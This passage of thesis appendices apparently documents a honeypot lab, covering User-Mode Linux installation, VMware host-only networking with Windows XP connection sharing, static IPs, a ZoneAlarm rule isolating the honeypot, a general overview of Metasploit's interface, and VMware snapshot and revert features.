http://user-mode-linux.sourceforge.net/UserModeLinux-HOWTO-2.html#ss2.1

http://user-mode-linux.sourceforge.net/UserModeLinux-HOWTO-2.html#ss2.1

http://www.gentoo.org/doc/en/uml.xml

If you chose to manually install UML you must first obtain a kernel from www.kernel.org. Then you must get a patch from http://user-mode-linux.sourceforge.net/ and patch the kernel that you downloaded. Make sure the kernel and patch that you downloaded are compatible.

If you use emerge in Gentoo, you do not have to manually download a kernel and the patch. You will have to follow the instruction from the documentation above to install your guest OS.

C. 1: UML installation

Now, you must install guest OS in UML or you can obtain a precompiled OS from the following web pages: http://sourceforge.net/project/showfiles.php?group_id=429&package_id=472 and http://user-mode-linux.sourceforge.net/dl-nl-linux.html If you are using the precompiled OS unzip the root_fs file by using the command “bunzip2 *.bz2”. This will give you a new file in the current directory. Rename the new file to root_fs and then run linux ubd0=root_fs, in the same directory, to load the precompiled OS using UML.

80

http://user-mode-linux.sourceforge.net/dl-nl-linux.html

http://sourceforge.net/project/showfiles.php?group_id=429&package_id=472

http://sourceforge.net/project/showfiles.php?group_id=429&package_id=472

http://user-mode-linux.sourceforge.net/

http://www.kernel.org/

C. 2: UML execution screen

Once the OS loads you will get the UML virtual console screen.

C. 3: UML Consol screen

81

Appendix D: VMware Design

D.1 Installing VMware

The installation of VMware is straight forward and can be found on the VMware web page: http://www.vmware.com/support/ws45/doc/install_win_wsa.html#1025548

D.2 Network Setup – Internet Connection Sharing (ICS)

On the Host OS, use the following commands to start the Network Setup Wizard:Start All Programs Accessories Communications Network Setup Wizard.

Since our host computer is the one connected to the internet, select the first option.

D. 1: ICS setup

82

http://www.vmware.com/support/ws45/doc/install_win_wsa.html#1025548

Select the device that connects you to the internet, which is your real Ethernet adapter.

D. 2: ICS Adapter selection

Choose to configure the connection manually.

83

D. 3: ICS network connection selection

Select VMnet1, which is the default VMware Host-Only connection adapter.

D. 4: ICS connection to bridge

After you completed the Network setup on the Host OS, now it is time to configure VMware as host only in order for it to work with Internet Connection Sharing.

D.3 Network Setup in VMware

84

Since I am going to set up a Host-Only network; in VMware I must select the Host-Only connection type, to do so go to Edit Virtual Machine Settings. Select NIC 1, and choose Host-only: A private network shared with the host.

D. 5: VMware Host-Only network

In addition, I need to disable the DHCP and Nat services in VMware so it would not conflict with the host OS services. Remember, Windows XP Internet Connection Sharing (ICS) on the host provides me with those services. To do so, Edit Virtual Network Setting, select the DHCP and Click on Stop service and then click on Apply. Do the same in the NAT tab.

D. 6: VMware disable DHCP

85

D. 7: VMware disable NAT

Now, when your OS loads, you will have access to the internet from the Guest OS.

D.4 Setting Static IP address- Guest OS

Gentoo:In order to avoid manually configuring the IP address each time, a static IP

address must be assigned to the Guest OS. To do this on a Linux Gentoo machine, edit the file /etc/conf.d/net. Assign the address as shown to give the Gentoo guest an IP address of 192.168.0.206.

D. 8: Gentoo static IP

Redhat:

86

Redhat user must edit the file /etc/sysconfig/network-scripts/ifcfg-eth0. And set the values as shown to assign the current machine an IP address of 192.168.0.110.

D. 9: Redhat static IP

Windows XP:Start Control Panel Network Connections Right Click Local Area

Connection Properties Internet Protocol (TCP/IP) Properties.

D. 10: Windows XP static IP

D.5 Setting Host OS IP Forwarding

87

To enable packet forwarding on the host machine do the following steps.Start Control Panel Network Connection. Right click your Local Area Connection and then choose Properties.

D. 11: IP forwarding selection

In the Advance tab choose Setting. From the Advanced Settings screen you can choose to forward the different services request to your different local machine. Note, one needs to make sure to put static IP address for each of the services.

88

D. 12: IP forwarding configuration

D.6 Installing Firewall

In order to use Zone Alarm Firewall, the built in XP Firewall must be turned off.

89

Start Control Panel Network Connection. Right click your Local Area Connection and then choose Properties. In the Advance tab uncheck Internet Connection Firewall.

D. 13: Windows XP firewall disable

Download and install ZoneAlarm Pro Firewall. http://www.zonelabs.com/store/content/home.jsp

Once installed, under Firewall Main tab, disable the firewall. We are going to manually set up the firewall.

D. 14: ZoneAlarm firewall setup

90

http://www.zonelabs.com/store/content/home.jsp

Under Firewall Expert Tab Add. Under General make sure to select under Action: Block and Track: Alert and Log. This will block all traffic specified by the rule under Source.

D. 15: ZoneAlarm rules setup

For my setup I want to prevent the HoneyPot machine to access my Host OS and prevent an attacker to stage attacks against other machines in the real network. To do so I must edit the source and destination rules so I can configure the firewall to block all IP address from a certain Source. Under Source Modify Add Location IP Range, input the IP range of your HoneyPot machine. Under destination make sure that Any is set. After this rule is applied, I have configured my firewall to jail the attacker inside the HoneyPot machines.

D. 16: ZoneAlarm IP range setup

Under Program Control Main, set Program Control to off.

91

D. 17: ZoneAlarm program control

In order to view the log of ZoneAlarm Firewall click Alerts and Logs tab and then select the Log Viewer tab. This will give you a log of the connections. By enabling the logging feature of ZoneAlarm I gained additional information, aside from Snort and TripWire, regarding the protocol, source, destination, etc of packets that are coming in and being sent from my computer.

D. 18: ZoneAlarm alert and log table

Appendix E: Metasploit

92

E.1 Metasploit Framework

Metasploit Framework is a platform for developing and using exploit code. The framework provides the exploit developer and tester an interface which is logically divided into global and temporary environment. Metasploit comes with twenty two exploits and twenty seven payloads. Once the exploit is selected the environment can be set up. The user can choose to configure the three main sections payloads, options and targets.

The following screenshot displays the features that are available after the user selects an exploit. Some of the key features that are used to set up an attack are set, show and exploit.

E. 1: Metasploit help

In the payloads section, the user is able to choose from among the different shell codes.

E. 2: Matasploit payloads

In options section the user must configure the IP addresses and port number to use.

93

E. 3: Metasploit options

In targets section the user can choose among the different machines.

E. 4: Metasploit targets

Appendix F: VMware Features

F.1 VMware Features

VMware comes with various features which makes it an ideal virtual environment to build a HoneyPot. One of the features that are available is the ability to copy and paste the image file on the host OS, and then load this file in VMware to create a new guest machine. This feature is extremely handy in building a HoneyNet. First, the administrator does not need to install the OS and different application for the second time in order to build additional HoneyPot. Second, if a HoneyPot system is compromised, all the administrator needs to do is to rebuild the HoneyPot with the saved image file.

94

Another feature of VMware is the Snapshot and Revirt features. The Snapshot option gives the administrator the ability to save the current configuration state of the HoneyPot machine. And Revirt reloads the saved configuration to be the current state.

The first figure shows the screenshot of the snapshot that was saved, and the second figure shows the Revirt stage.

F. 1: Snapshot in VMware

F. 2: Revirt in VMware

95

Revirt Feature

Snapshot

The way that Revirt in VMware works is that it stores the changes to the disk since a snapshot is taken. The changes to the disk are stored in the REDO files. VMware will use these REDO files to restore the virtual disk to its original state.

F. 3: REDO files of VMware

96

Documents

HoneyPot - Clarkson Universityweb2.clarkson.edu/projects/itl/projects/honey/HoneyPot... · Web viewThe rest of the thesis is organized as follows: Section 2 compares a stand alone